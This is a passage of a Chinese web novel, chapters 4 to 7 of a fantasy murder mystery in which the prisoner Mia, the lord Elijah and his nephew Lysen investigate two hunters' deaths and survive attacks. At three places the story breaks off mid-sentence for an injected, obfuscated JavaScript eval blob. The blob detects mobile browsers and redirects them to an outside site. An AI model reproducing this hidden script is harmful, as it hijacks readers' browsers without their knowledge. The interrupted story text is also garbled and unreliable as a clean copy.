“这只是你的猜测。” 男人冷漠的话语适时响起,给米娅泼了一盆冷水。 她很想瞪他,考虑到还有其他人在场,生生忍住了,美丽的眼睛又转回了医生身上,“您能去看看凯勒和加里的尸体里含不含有非多姆吗?” 面对这样一双眼睛,这样一张无辜美丽的脸,大概没有人会不动容,一身浅红色神官衣袍的年轻医生摸了摸通红的耳根,头一次感到了不好意思,“我只能鉴定活人,死人的血液凝固,我的能力发挥不了作用。” “那真是可惜了。”米娅小声嘟囔。 以利亚好似听进去了她的话,转头问卡伦,“尸检结果出来了吗?” 卡伦无奈,“刚刚得到消息,两位首领的家人不允许做尸检,他们说凶手既然已经抓到,应当尽快将凶手绳之以法,而不是继续破坏两位首领的遗体。” 面对群情激愤的海妖猎人,即使是他也得三思而后行,保下米娅的性命已是冒了风险,不顾他们的意愿强行尸检是绝不可能的。 不过,他做不到,不代表别人做不到,这屋里现在就有一个拥有足够的权势和力量,能将那些海妖猎人压下去的人。 这回不用卡伦暗示,米娅也轻易就能明白,她的所有希望,都在眼前冷漠的男人身上,赫尔西岛的掌权者,现在是唯一能帮她的人。 他会帮我吗? 很难说,他也说了,他不在乎那两个人是死是活,只是好奇他们是怎么死的,就算弄明白了死因,他似乎也没有理由帮她。 有一个现成的替罪羊,杀了就能省却许多麻烦,他会这么想吗? 众人的目光再度汇聚到银发的领主身上,他将决定米娅的命运,但他只是说:“将她关到女囚牢房去。” 4. 命案(四) 不同于死囚牢房的阴暗冷清,女囚牢房是个相当热闹的地方。 上下两层鸽子笼一样的牢房,密密麻麻挤满了人,就像蜂巢里的蜜蜂。 人可真多。 米娅脸上的表情表明了她的惊讶。 带她过来的女狱卒则是一脸疲惫到生无可恋的样子。 “平时哪有这么多人,还不是今天晚上那件事,找现场的人一一问话,结果发现其中大半是偷渡者,还有听到声音出来看热闹的,引来了许多小偷,这才抓了这么多人。” 米娅挑眉,再细看牢房之中,每一间少则两人,多则四人,但当她随着女狱卒走到一间牢房前,被请进去的时候,意外发现这一间居然是空的。 不仅是空的,里面的床铺什么都是新的,基本的家具都有,甚至比外面便宜的旅馆还要好上不少。 这是个什么情况。 米娅踏进去,女狱卒将门一锁,还在外面说了句,“刚收拾出来的,您先将就一下。” 搞得她好像是什么贵客。 但是天底下哪有在监狱中坐牢的贵客? 不管了,她往床上一躺,盯着陌生的天花板看了一会儿,渐渐感觉到了困倦,于是闭上眼睛不再理会。 第二天,她是被吵醒的。 睁开眼一看,对面牢房里,一个衣着华丽化着浓妆的女人和一个穿着朴素素面朝天的女人正在对骂。 一个骂对方寒酸,不知道几天没洗澡,身上的臭味隔着老远就可以闻到,一个骂对方不检点,赚的钱都是脏钱,说不定得了什么病。 两个人越骂越凶,什么不堪入耳的话都能说得出来,总之就是一个意思,不愿意和对方待在一个牢房里。 她们的动静最终惊动了狱卒,胡子拉碴的男狱卒打着哈欠都过来,手中木棍重重敲打在门框上,响声将两人吓得一激灵。 “吵什么吵,再吵把你们关禁闭室去。” 两人脸色瞬间一白,不再做声了,一个站在牢房的东南角,一个站在西北角,躲得对方远远地。 西北角的是那个化了妆的女人,妆容颇为妩媚,她看狱卒准备走开了,连忙从一根根铁栅栏之间伸出指甲涂成红色的手,拉住了他的袖子。 “大人,别急着走呀,能不能帮我弄点儿火来。” “你们又把禁药带进来,疯了吗?” 狱卒怒气冲冲地叫道,可他脚步没动一下,好像在等待着什么。 女人心领神会,从低得仿佛胸前的两坨肉随时会跑出来的领口里摸出两枚银币,放到狱卒手中。 狱卒满意地收起来,顺带摸了一把她光滑的手,走开了,没一会儿,又拿着根点燃的蜡烛过来,女人从兜里摸出个圆筒状的东西,外面一层纸裹着,里面像是树叶。 点燃之后,她深吸一口,烟雾缭绕。 狱卒凑上前去,似乎也想尝一尝,她却白他一眼,走开了。 狱卒没好气地走了,米娅走到门口,更近距离地观察了一会儿,忍不住问:“这是什么,刚才说是禁药,难不成也是那个什么非多姆?” “咳咳咳咳……”女人像是被她的话呛到了,连声咳嗽起来,透过缭绕的烟雾望过来,忽然愣住了。 好漂亮,和这肮脏阴沉的监狱格格不入。 仔细再看,真是妩媚动人,不知道的,还以为和自己是一路人,可惜干净的眼眸骗不了人。 女人将灰烬掸到牢房外,长叹一口气,颓废又放松,“非多姆那种东西,一不小心是要出人命的,那些上层人士才玩,我一个挣辛苦钱的,可惜命着,抽抽这种烟差不多了。” “你也是因为昨晚的事被抓进来的?”米娅又问。 “差不多吧,我都躲乡下去了,还把我揪了出来,这回是动真格的了。”女人低声啐道,“凯勒那个狗东西,死就死了吧,还给人带来这么大麻烦。” “你认识他?” “呵呵呵,小妹妹,我敢说整个赫尔西岛长得漂亮的妓女没几个不认识他的,他出手挺大方的,床上功夫——也还行吧。” 米娅笑了,看着她眼尾隐约可见的细纹,“我想我的年纪应该比你大一点儿。认识一下,我叫米娅。” “开什么玩笑?你看着年轻得让人嫉妒……”最后一点儿灰烬落到地上,女人刚想笑,突然瞪大了眼睛,转头直勾勾地盯着她,“什么!你就是米娅?!” 颓废一扫而空,声音都不知道高了多少个八度,瞬间传遍了周围。 哗啦啦一阵乱响,女囚们纷纷起身,跑到牢门处,探出个脑袋向这边张望,满脸都是好奇。 无数个脑袋从门里探出来,看着同一个方向,这场景别提有多诡异了,但米娅毫无惧意,微笑着看向众人。 “怎么,我很出名吗?” 女囚们瞬间炸开了锅,叽叽喳喳的声音传进她的耳朵里。 “真的好漂亮,跟传闻中一样,不对,比传闻中还漂亮。” “她的手真好看,这样一双手也会杀人吗?” “胸好大,想摸。” “见鬼,都是女人,你流什么口水……” “……” 内容越来越离谱,还没多少有效信息,看来还是得专门找个人问情况,于是她又看向了对面的那个女人。 女人正在出神,也许是因为刚吸过禁药的缘故,嘴唇有些不正常地泛白。 注意到她的视线,连忙站直了身子,颓废迷离的脸上竟然有些拘谨,“哦哦,走神了,你叫我罗莎就行。咳、你还不知道吧,有关你的事迹已经传遍了这里。” “我的事迹?” 米娅直觉不是什么好事。 “你应该也猜到了,无非就是什么一个漂亮得不像人的女人因为感情问题杀了凯勒和加里之类的,不过这种说法没多少人信。” 米娅挑眉,“听你的意思,还有别的说法了?” 罗莎抖着手又摸向衣兜,似乎想再摸出一根来点上,却摸了个空,“糟了,忘了补货……当然有了,还不止一种,有说凯勒和加里是为了争夺你大打出手的,有说你其实是邻国的间谍给他们下了药的,还有说你是海妖来报复他们的。” 米娅笑起来,“海妖,我像吗?” 听到这话,罗莎不禁仔细看她,海藻一般卷曲的长发,玫瑰般滋润饱满的红唇,美妙婉转的声音。 别说,还真和传闻中对海妖的描述对得上呢。 直到她看向那双动人的眸子。 深蓝色的眼眸闪着光,她有一双灵动而漂亮的眼眸。 众所周知,海妖的眼睛是天蓝色的,而且没有瞳仁,看起来空洞而诡异。 数本书中都提到,这是海妖难以掩饰的特征。 眼前的人虽然拥有吟游诗人诗篇中海妖才会有的美貌,却的确是个普通人类。 “还真挺像的。”罗莎如实回答。 米娅无奈地摇了摇头,幽幽一叹,“反正不管怎么说,都认为他们的死跟我脱不了关系是吧,唉,我真没杀他们。” “这我可不好评价。”不止是手,罗莎连身体也开始颤抖起来,牙齿打着战,说话都不利索了,“其、其实也不重要,反正你都有、有领主大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨天深夜,离开监狱之后,领主大人将这件案子的追查工作全权交给了他,他刚刚找到了半个月前载米娅来到赫尔西岛的商船,证实了米娅的话,打算过来带她去凶案现场再看看能不能想起点儿别的细节。 哪曾想,一过来就听说,她竟然在狱中散布她和领主的谣言,惹得犯人躁动。 难怪昨晚领主大人最后让他小心她。 莱森对米娅怒目而视,米娅眼珠一转,立刻猜到了缘由,但她脸上却表现出茫然,“我做错了什么吗?” 被那委屈的目光望着,还未说出口的指责都成了罪恶,莱森一下泄了气。 于是指责变成了抱怨,“为什么要让别人误会你和领主大人的关系?” “我也不想的。”米娅垂下眼去,嘴角溢出一个苦笑,“我只是觉得,让别人误会我和领主大人的关系,可以吓退一些想对我下手的人。” 莱森一愣,他下意识想反驳,这里很安全,但昨晚在死囚牢房中发生的事情又让他说不出口。 沉默了很久,莱森再度开口时,声音有些闷,“但你也不该拿领主大人当挡箭牌,要是他生气了,我也帮不了你。” “可是,除了领主大人,我还能选谁呢?” 米娅缓缓走向他,走到一半,被狱卒拦下,她也不恼,美目眨了眨,红唇吐出轻柔的话语,“还是说,莱森大人愿意当我的挡箭牌呢?” 5. 命案(五) 马车载着莱森和米娅行驶在赫尔西岛居民区宽阔的石板路上。 凶案发生之后,全岛进入暂时的紧张态势,原来热闹的街上,此刻只有稀稀落落的行人。 米娅靠着车壁假装浅眠,感受着一道视线时不时落到自己身上,每当自己有轻微的动作时,那视线有火速移开。 虽然没有亲眼看见,但她能够想象出青年偷偷看她的局促模样。 就像不久之前,他在她的调戏下眼神闪躲,根本不敢直视她的模样。 马车外传来几声清脆的鸟啼,米娅装作刚刚睡醒的样子,睁开了迷蒙的眼睛。 莱森火速躲开视线的样子映入她的眼帘。 真是把心里在想什么都印在了脸上。 身为曾经的赫尔西岛领主,现任的赫尔西岛领主以利亚赫尔西的外甥,他怎么看起来这么单纯呢。 将马车的窗户掀开了一点儿缝隙,米娅看向窗外。 赫尔西岛是个四季分明的地方,春天生机勃勃,到处开满了鲜花,一度是布里斯帝国的度假胜地。 然而自从海妖猎人聚集到赫尔西岛后,他们不仅带来了杀戮和混乱,还将赫尔西岛的好名声败了个光。 从这个角度来看,倒是不难理解面前的青年为何隐隐透露出对海妖猎人的厌恶了。 但是以利亚呢,海妖猎人聚集到赫尔西岛,归根到底还是因为他,他又对他们是什么态度? 米娅正沉思着,马车穿过几条街,咸腥的海风吹了过来,海浪的声音也若隐若现。 他们来到了西摩港附近。 半个月前,米娅就是从这里下船,登上这片陌生的土地。 两百多年前,奥维伊群岛还是奥维伊大陆,赫尔西岛也还是大陆的一部分,在赫尔西岛的上空,是众神的居所——永恒花园。 作为离神明最近的地方,赫尔西岛被赋予了许多特殊的意义。 时至今日,永恒花园已经荒废,赫尔西岛也失去了特殊的地位,变成了普通的人类岛屿,所剩不多的特殊之处在于,它紧邻海妖的居所——无尽海。 黄色的梧桐絮从缝隙中飘进来,自她的眼眸前掠过。 过了港口,梧桐区到了。 凯勒的居所曾是梧桐区最热闹的建筑,没人能够比拟,此刻却被手持长矛的士兵团团围住,不允许旁人进出。 豪华的建筑一旦冷清下来,会更快流失掉人气,彩色玻璃后面黑沉沉的一片,就像亘古以来就是如此。 他们进去之前,在门口遇到了一个不速之客。 亚当埃尔博,凯勒的得力助手。 他听说了凯勒和加里的死讯,从隔壁岛连夜赶回来,一跃成为失去首领的海妖猎人的主心骨之一,同时也是对以利亚的“包庇”闹得最凶的一个。 没别的原因,他一回来就开始和凯勒的弟弟争权。 目前来说,他们组织内部对以利亚的处置很不满意,如果谁能推动他们眼中的凶手尽快被处决,就能获得更多的支持。 莱森猜出他的来意,挥手示意米娅先回马车里躲着。 幸好出来前为了不引人注目让米娅换了身普通的男装,亚当看了她的背影一眼,只当她是莱森的下属,没多理会,一个劲儿地逮着莱森说话。 “莱森大人,你给我个准话,领主大人到底是怎么想的,该不会真像外面传的那样,领主大人看上了那个女人,故意要包庇她吧。” 莱森一脸严肃地反驳:“你怎么能信这种谣言,领主大人已经命令我调查此事,我们都觉得凯勒首领和加里首领的死还有疑点,绝不会在事情没有查清楚之前匆忙处决嫌犯。” 米娅躲在车门后,眼眸一动。 以利亚不管这事了? 有点儿意思,不管也就罢了,居然让莱森负责。 马车外面对话还在继续。 “还有什么疑点,不都明摆着吗,现场就只有那女人一个活口,不是她还能是谁,我看你们就是想包庇她。” “卫兵!” 亚当这人平时不是挺精明的吗,这时候怎么糊涂起来了。 跟他扯不清楚,莱森唤人来把他架走。 要是直接跟卫兵硬碰硬,那可就等于和赫尔西岛撕破脸了,亚当到底还没这个胆子,骂骂咧咧地走了。 经过了这个小插曲,他们总算走进了凯勒的别墅。 一楼宽敞的大厅之中,一切原封不动,桌上摆满的美酒和美食,像风卷残云一般,已经被吃掉了大半。 地上散落着衣物和打碎的餐盘。 莱森看了一眼,脸色不大自然,衣物怎么来的自不必说,那打碎的餐盘却是人群四散而逃时撞到仆人,仆人失手打碎的。 不难想象当时的混乱场景。 一楼太乱了,就算有线索,凭他们两双眼睛也很难察觉。 莱森问米娅昨晚经过一楼的时候有没有什么特别的记忆,米娅也只说没有。 “下面都是一群醉鬼和色狼,我走得很快,帽子也拉得很低,没有注意到。” 顺着旋转楼梯上到二楼,长长的走廊上两侧有六间房,其中最大的一间就是凯勒的卧房,在走廊的尽头。 一打开门,刺鼻的血腥味扑面而来,和一楼一样,二楼也原封不动,除了两具死状可怖的尸体被挪走了之外。 墙上、地板上、饭桌上,血液喷洒的到处都是,此时已经凝固,变成了暗红色,反而更加可怖。 莱森脸色发白,下意识瞧了一眼米娅,见她脸色也不太好,便说:“要不你在外面等我吧。” 虽然与他一开始的计划背道而驰,确实他此刻最真实的想法,这么一个恐怖的场景,他看了都有些受不了,更何况还是一个弱女子。 “不。”米娅谢绝了他的好意,一边说着,一边又瞟了一眼房间中的惨状,只一眼便收回目光,一张脸被吓得惨白,但她还是咬着唇坚定地摇了摇头,“我想为自己洗刷冤屈。” 无论是谁看了,都要感慨一句她真是柔弱又坚强。 莱森也不例外,原本还存在于内心深处的对她的怀疑被抛在脑后,胸中涌起一股热血,发誓说什么也要找到真凶救她。 米娅深吸一口气,走进了卧房中,逡巡一圈,出去,来到圆桌前,纤细的手指拿起桌上的银质酒壶,晃了晃。 很轻,有水声,里面剩的酒不多了。 她将盖子打开一看,果然只有底部还有一点儿酒水,于是顺手将瓶口转向莱森的方向,“我记得我刚进来的时候,凯勒给我倒酒,里面还是满的,虽然他给自己也倒了一杯,但也不应该只剩这么点儿。” 莱森定了定神,镇定地走过去,既然她都不害怕,自己当然也不能表现出害怕来。 为了附庸风雅,凯勒用的是最精致小巧的陶瓷杯,两杯酒倒出来,酒壶仍跟满的一样。 而在尸体被发现之后,这里的东西都没动过,也就是说,酒壶一直是好好盖着的,不存在洒了的情况。 “难不成,这酒是被凯勒和加里喝了?” 她说出了自己的猜测。 非多姆对普通人危害很大,但对渡水者来说,少量的非多姆似乎没有效果。 “莱森大人,可以检测一下这酒里有没有非多姆吗?” “是可以的。”她希冀的目光有点儿耀眼,莱森尴尬地别开眼,“但这需要拥有特殊资质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818798|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药剂师才能检测,赫尔西岛没有,最近的在伊莉娜岛,他要两天后才能到。” “这样啊。” 米娅点点头,勉强笑了一下,眉间浮现出些微沮丧的神情。 看到这个表情,感觉自己就像做错了事一样,莱森心口一紧,不自在起来,赶紧走到卧房的别处,仔细观察着细节。 墙上打斗的痕迹,地上花瓶的碎片,包括衣柜下面黑黢黢的缝隙里,他一处都没放过。 他站在这些痕迹前,抬手比划着,思考着如果是自己,怎样的动作才能造成这样的痕迹。 越比划越觉得,这根本就是两个人在对打。 难道米娅说的是对的? 线索就这么些,再看也看不出什么。 问米娅,她坚称自己一早就晕了过去,能说的都说了。 说实话,莱森还是有些怀疑她,哪怕已经确认了她只是个普通人,可是普通人也不至于喝一口就晕了吧。 非多姆要真这么厉害,偷偷用它的人恐怕就没那么多了。 暂且将这些疑问放在心里,两人出了别墅门。 卫兵依然牢牢把守在各个出入口,马车停在马路对面。 门口的卫兵表情古怪,看着他欲言又止,莱森一头雾水,让米娅先回马车上,自己马上过来。 他停了下来,想问个清楚。 米娅应了一声,神情自若地往马车的方向而去。 马路上没有人,也没有别的车。 她的脚刚踏在马路边缘,莱森的叫声就从身后响了起来。 “小心!” 又焦急又担忧。 接着,一股大力将她推向马路中央,米娅险些摔倒。 好不容易站定,一回头,眼前的情形却让她愣住了。 推她的人是莱森,他的手臂还伸在半空中。 一个黑影从旁边的巷子里冲了出来,手中举着武器,刺向原本她所在的位置。 现在,那个位置上没有了她,只有莱森的手臂,武器划过手臂,莱森吃痛地闷哼一声,侧身将那人踢倒在地。 一个从没见过的陌生男人。 米娅眼神一冷,赶紧跑过去,卫兵已经先她一步将那个陌生男人制服,她便看向莱森的手臂,“你怎么样?” 莱森的手臂上被划开了一道深可见骨的伤口,正向外不断涌出鲜血,他的额头也冒出冷汗,看样子一点儿都不好。 这时,卫兵拿来纱布和止血药,焦急地说:“莱森大人,请让我们为您包扎。” 他的血流得实在太多了,地上已经积起了一小滩,再这样下去……米娅一咬牙,拿过纱布和止血药,“我来。” 药洒上去,很疼,莱森嘴唇都白了,再也忍不住,发出轻哼。 为了转移他的注意力,米娅同他说起了话,“我只是个囚犯,你为什么要救我?要是他的刀再偏一分,可能就刺到你胸口了,你不怕死吗?” 这也是她的真实想法。 她无法理解。 她能够感觉得到,青年对自己似乎是有点儿不一样,但那不过是外貌带来的好处,还有自己偶尔的逗弄,弄得他心跳不已。 可是这算得了什么,她随便去大街上拉一个人,也能达到这样的效果,但绝对不会有第二个人,会为她挡刀。 为什么? “就算……呃啊……就算是个不认识的人,我也会这么做,我做不到,眼睁睁看着另一个人……死在我面前。” 痛苦的呻吟下是最真实的心声,米娅的动作一顿,不可置信地抬头看他,故作的柔弱此时在她脸上看不出分毫。 “是这样么,您真是个好人。” 6. 命案(六) 好人? 米娅的声音很轻,仿若呢喃,但莱森还是听见了。 剧痛源源不断地从手臂传来,他却已经无法顾及,听到这句话,不知为何,原本清明的思绪像是一瞬间泡进了水里。 周围都是模糊的波光,还有拨不开的浓雾。 什么也看不清,但又什么都看得见,周围的一切都被奇怪的光晕染成了扭曲的线条,就连那婀娜的身躯背后,也像长出了翅膀。 视野一片模糊,恍惚之中,稚嫩的声音忽然出现,从久远的回忆中翻涌而出,眼前白得像雪一样的脸被另一张熟悉的脸代替。 “莱森,莱森,我们长得好像呀。” “废话,我们是双胞胎,还有,你该叫我哥哥。” “可是我听说,后出生的其实才更大哦,我才是哥哥。” …… “莱森,救我……” “莱森,为什么被选中的是我,不是你?” “罗尔——” …… 我哪里还算好人呢。 莱森心想。 米娅看到他的眼神,虽然看着自己,却没有神采,更像是看着某个遥远的回忆。 她立刻做出了判断,他正在因为疼痛和流血而意识模糊,而自己手上的止血药显然效果不佳,现在最好是—— 纤细的手指搭在了青年受伤的手臂上,她在犹豫。 “过来。” 就在她下定决心的那一刻,清冽的声音从马车中传了出来,车窗被戴着精致白色手套的手从里面推开,露出那张俊美到甚至可以称得上漂亮的脸,以及闪着光辉的耀眼银发。 米娅还没反应过来,卫兵已经扶着摇摇欲坠的青年走了过去,艰难地登上了马车。 米娅赶紧跟过去,心中不断回忆着刺杀发生之前的场景。 她向马车走去,马车静静地伫立道旁,就像不久之前他们下车时一样,看起来没有异样,她没有在意。 但是,这时再想起来,她终于发觉,那个时候,马车的车窗就已经打开了一条缝。 难不成,他一直在马车中看着? 天是阴沉的,就像马车中的气氛。 年轻领主的手放在莱森的伤口上,鲜血染红了白色手套,像蔷薇花在掌心盛放,淡淡的光华流转在伤口深处,如柔和的圣水淌过。 伤口自内向外逐渐愈合,不过几个呼吸之间的事情。 莱森的脸色依旧苍白,伤口能够愈合,已经流出体内的血液却回不去。 好在精神不再恍惚,清醒的神志回到了他的脸上,看着近在咫尺的以利亚,神情很是奇怪。 窘迫中带着恐惧,恐惧中带着感激,感激中又有怨恨。 各种情绪交织在他的脸上,是从未有过的复杂。 米娅站在门口,静静看着,脸上没有一点儿笑意。 见莱森已无大碍,卫兵从马车中退了出去,门口的米娅引起了他们的注意,但他们只是犹豫了一下,什么也没说,沉默地将车门关上。 马车徐徐启动。 当那双像恶魔一样的冰冷眼睛看过来时,米娅皱着眉,迈着沉重的脚步走了过去。 “领主大人!” 尊敬? 不存在的,故意提高的声音中怒火显而易见。 莱森此时已经退开了好几步,感谢的话就在嘴边,看到米娅气势汹汹地过来,也说不出来了,待在原地一个劲地给她使眼色。 米娅看到没有? 难说,光线实在有点儿昏暗。 而且她的目光始终紧紧盯着另一个人。 “您为什么不阻止?” 说话间,她已经越过了莱森,来到以利亚身前,恼怒的脸上虽然没有笑意,依然是那么的生动。 喜怒哀乐,人类所能拥有的一切情绪,无所谓好坏,都能在她美丽的脸上得到最完美的展现,生动得让人嫉妒。 与之形成鲜明对比的,是以利亚赫尔西万年不变的冷漠表情。 米娅讨厌他这副模样。 奥维伊群岛最强大的渡水者,完全有能力阻止这场刺杀,他只要动动手指,不,连手指都不用动。 “停车。”以利亚没理她,薄唇轻轻吐出两个不带任何情绪的字,马车真的停了,就像被施加了看不见的魔法一样,他又看向莱森,“下去。” 言简意赅,米娅和莱森都是一愣,好一会儿才反应过来,他竟然是在赶走莱森。 他果然还是生气了吧。 青年面色一白,半晌没动。 平日里,莱森以为自己遮掩的足够好,但他对于以利亚的害怕是怎么都不能完全遮得住的,就连刚认识不到一天的米娅,也轻易看得出来。 他现在依然在害怕,依然以为自己掩饰得很好,实则表情早已暴露了一切,可是他却没有像往常一样忙不迭地听从。 “领主大人。”莱森轻唤着,语气中有一丝恳求。 冷冰冰的视线没有任何改变,以利亚此时倒是很有耐心,他甚至平静地又解释了一句,“我有话要单独对她说。” 莱森还是没动,反而更害怕了,他又唤了一声,这次用了个别的称呼,“舅舅……” 声音在轻颤,听起来还有点儿可怜,让人不禁起了怜惜之心。 我和以利亚的冲突,为什么为难的是他? 米娅皱着眉,想不明白,还是有点儿太复杂了,他们这些…… 按照一般情况,这种时候,好像该自己这个罪魁祸首出来打圆场了。 红唇微张,正要出声,以利亚的表情终于有了一点儿变化,好像更冷了。 “希望她没事,现在立刻下车。” 这回变成赤裸裸的威胁了。 米娅气结,他这个人,到底怎么回事,真是让人恨得牙痒痒。 话说到这份上,莱森到底还是下去了。 脚刚踏到土地上,马车再次启动,绝尘而去。 “领主大人这是什么意思,恼羞成怒了吗,你也承认我说的不错?”米娅怒极反笑,“现在把我单独留下是要做什么,想杀了我吗,这不还是您动动手指的事,何必还把莱森大人赶下去这么大费周章。” 她高昂着头,像只愤怒的孔雀,明媚的眉眼中毫无惧色,修长的脖颈又细又白,仿佛一不小心就会折断。 “你怕死吗?” 以利亚安静地听她连珠炮似的说完这一连串话,视线一直落在她的脖子上,当她说话的时候,那里也在微微震动。 要是换一个人,说出这种话,说明他不光恼羞成怒,而且气急败坏了。 可是这话从以利亚口中说出,米娅只感觉到了平静的冷漠,没有起伏,也没有情绪,就像无情的神明俯瞰大地,蝼蚁的挣扎在他来看毫无意义。 当然引不起他的生气。 真是一拳打在了棉花上。 “怕啊,怎么不怕。” 米娅双手交叉抱于胸前,这是一个在现如今被认为对于女性来说非常粗鲁的动作,不应该由她做出来。 不过她现在心情不好,才懒得管这么多。 她嘲讽似的反问,“难道你不怕?” 谁曾想以利亚竟然认真地回答了她,“如果死亡是一种解脱,那它也没什么可怕的了。” 米娅愣了一下。 在内心深处,她其实是赞同他这句话的,可是当这话从他嘴里说出来,不知怎的,她下意识就想反驳。 “是解脱还是逃避?无力改变现状,难道死了就能改变了,根本就是懦夫的行为。” 以利亚沉默了,赞不赞同,从他的表情反正是看不出来。 米娅一头雾水,他把莱森赶走,难道只是为了和自己探讨这些哲学问题? 那他可是找错人了,他应该去玛利亚联盟著名的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吧,我知道错了。可是领主大人怎么知道……”米娅能屈能伸,面前的男人拥有随时能杀了她的能力,看样子也没有什么怜香惜玉的心,她忍。 “你身上有海妖的气息。” 棕色的眼眸动了动,视线从起伏的胸脯移开,缓缓向上移动,滑过她天鹅一样的脖子,小巧光洁的下巴,滋润的红唇,最后是那双眼眸。 深蓝色的,跟大海一样的颜色。 美丽的眼眸中浮现惊讶,红唇微张,米娅恍然大悟,“难不成,您以为我是海妖,所以才没有出手救我?” 尊贵的领主大人没有回答,米娅只将他的沉默视作默认,自顾自地又说:“早知道会带来这么大麻烦,我就不捡了。” “捡的?” “是呀,昨晚在我晕倒之前,看见加里拿出了这根羽毛质问凯勒,凯勒让他把它卖了,能值不少钱,刚好可以抵消他的赌债。我那个时候就知道,这羽毛肯定不一样,但是昨晚你们都没提起过,我就猜会不会你们还没找到羽毛,或者羽毛对你们来说不重要,所以刚才在莱森大人没注意的时候,偷偷找了一下,还真叫我找到了。早知道这是海妖的羽毛,我怎么还敢拿走?” 以利亚问她:“拿走做什么?” “当然是卖钱了。”米娅承认得很爽快。 以利亚看着她,玫瑰花的美丽脸庞随着马车的行驶忽明忽暗,她身上有股淡淡的馨香,说不出来是什么香味。 “不对,你在说谎。” 冰冷的的声音在耳边响起,米娅面露委屈,正要反驳,喉咙又被扼住。 只是这一次扼住她的不是什么无形的力量,而是切切实实的一只手,一只带着手套的手。 7. 命案(七) 手套是丝质的,触感光滑而冰凉,就像他的人一样。 以利亚四指弯曲,紧紧扣住了她的脖子,大拇指却在脖子上轻轻摩擦,好像在感受着什么。 这时从脖子上传来的力气还不够大,米娅挣扎着说:“没有。” “我没有说谎。”她又重复了一遍,美丽的眼睛瞪着他,眼中浮现了愤怒和不甘,“您不能冤枉我,如果我说了实话您也不信我的话,那就干脆杀了我好了。” 她有些自暴自弃了,力量的巨大差异让她甚至没有任何反抗的力量。 难不成真要死在这里了? 米娅越想越气,这个男人到底在发什么疯。 她还从来没有这么无助过,从前跟许多不怀好意的人周旋,都没有这么累过,这就是绝对的力量带来的无力感吗。 好像怎么挣扎,都逃不出去。 砰。 什么声音? 很轻,轻得她以为自己听错了。 马车忽然停了,是戛然而止的停下,绝非到达了目的地,因为这一下停的很突兀,就像全速前进的马车突然撞到了墙上一样。 在惯性的作用下,米娅整个人向前倒去。 完了,她绝望地闭上眼睛,脖子真的要被扭断了。 凄惶的神色出现在了这张美艳的脸上,看着十分可怜。 关键时刻,脖子上的桎梏一松,她就像普通的摔倒一样,向前扑了过去。 一切都发生在一瞬间,根本来不及闪躲,她觉得自己扑进了一块冰块之中,而且这冰块有些地方是硬的,有些地方是软的。 她又不是傻子,当然知道自己现在像八爪鱼一样抱着的是什么,脸上的绝望更明显了。 今天怎么回事,要多狼狈有多狼狈。 还有,以利亚为什么不躲,凭他的本事,躲开或者甩开她不是轻而易举的事情,为什么任由她摔倒在了他的身上。 难不成,他改主意了,不杀她,而是—— 米娅睁开双眸,看着身下的人,他的眼中有毫不掩饰的惊愕,这还是她第一次看到他如此外露的情绪。 砰。 又是一声,比刚才的声音大了许多,就像烟花在天边炸开。 马车突然剧烈地摇晃起来。 她险些被甩到半空中,情急之下,只能更加用力地抱紧了身下的人。 “放开……”恼怒的声音在下方响起。 她根本无暇理会,摇晃越来越剧烈,似乎是大地在震颤,让人不由得想起了传说中撕裂天地的灾难的场景。 难道是两百年前的灾难再一次上演? 这样的念头刚刚掠过,摇晃却突然停止了。 不过一瞬间的功夫,寂静如潮水般汹涌而来,外界的一切声音都消失了。 更不对劲了,米娅心头突突直跳,艰难地想要爬起来,却一脚踩了个空,她又摔到了那人身上,全身上下最柔软的地方压在他的胸膛上,挤走了他们之间最后一点儿空隙。 太近了,她清晰地感受着男人心脏跳动的声音。 起初有些缓慢,然后逐渐变快。 她再想起身,男人却一反常态,伸手勾住她的腰,将她又拉了回去。 她惊讶地抬起头,刚才他还让自己放开他,怎么现在又…… 她看见男人眉头紧皱,棕色的瞳孔盯着马车中部。 那里,有什么吗? 她正要回头去看,一阵气流猝不及防涌来,仿佛海面上的风暴一般,蕴含着摧枯拉朽的力量,将马车卷了起来,然后自半空中撕裂。 一阵天旋地转,唯一清晰的,是腰间的触感。 男人的手臂紧紧地箍住了她,他们变成了两片随波逐流的叶子,暗潮中翻涌,直到被气流抛到最顶点之际—— 世界再度安静,眼前一晃,她竟然安安稳稳落到了地面上,四周散落着不计其数的马车碎片,黑色的雾气仿佛是粘稠的沼泽,从地面冒出来,化作无数双带着死亡神秘气息的巨手,将马车碾碎。 恐惧自她的心底升起,没有来由。 远处隐约可见一望无际的大海,碧波荡漾,阳光明媚,这个地方却像在另一个时空,笼罩其中的一切物体都失去了颜色,笼罩着不安与绝望。 以利亚呢? 米娅突然意识到,刚才还和她紧紧相拥的男人失去了踪迹。 她向四周望去,每移动一下视线,都要花费大量的力气。 然后,她终于看到了。 男人悬停在半空中,一大片化不开的黑雾被他踩在脚下,不断变换着形态,却始终无法再向上一步。 “不自量力。”冷淡的话语自男人口中吐出。 看起来,这些突然而起的黑雾,并不是他的对手。 米娅心情复杂,微微扬起头,抬脚向他的方向走去。 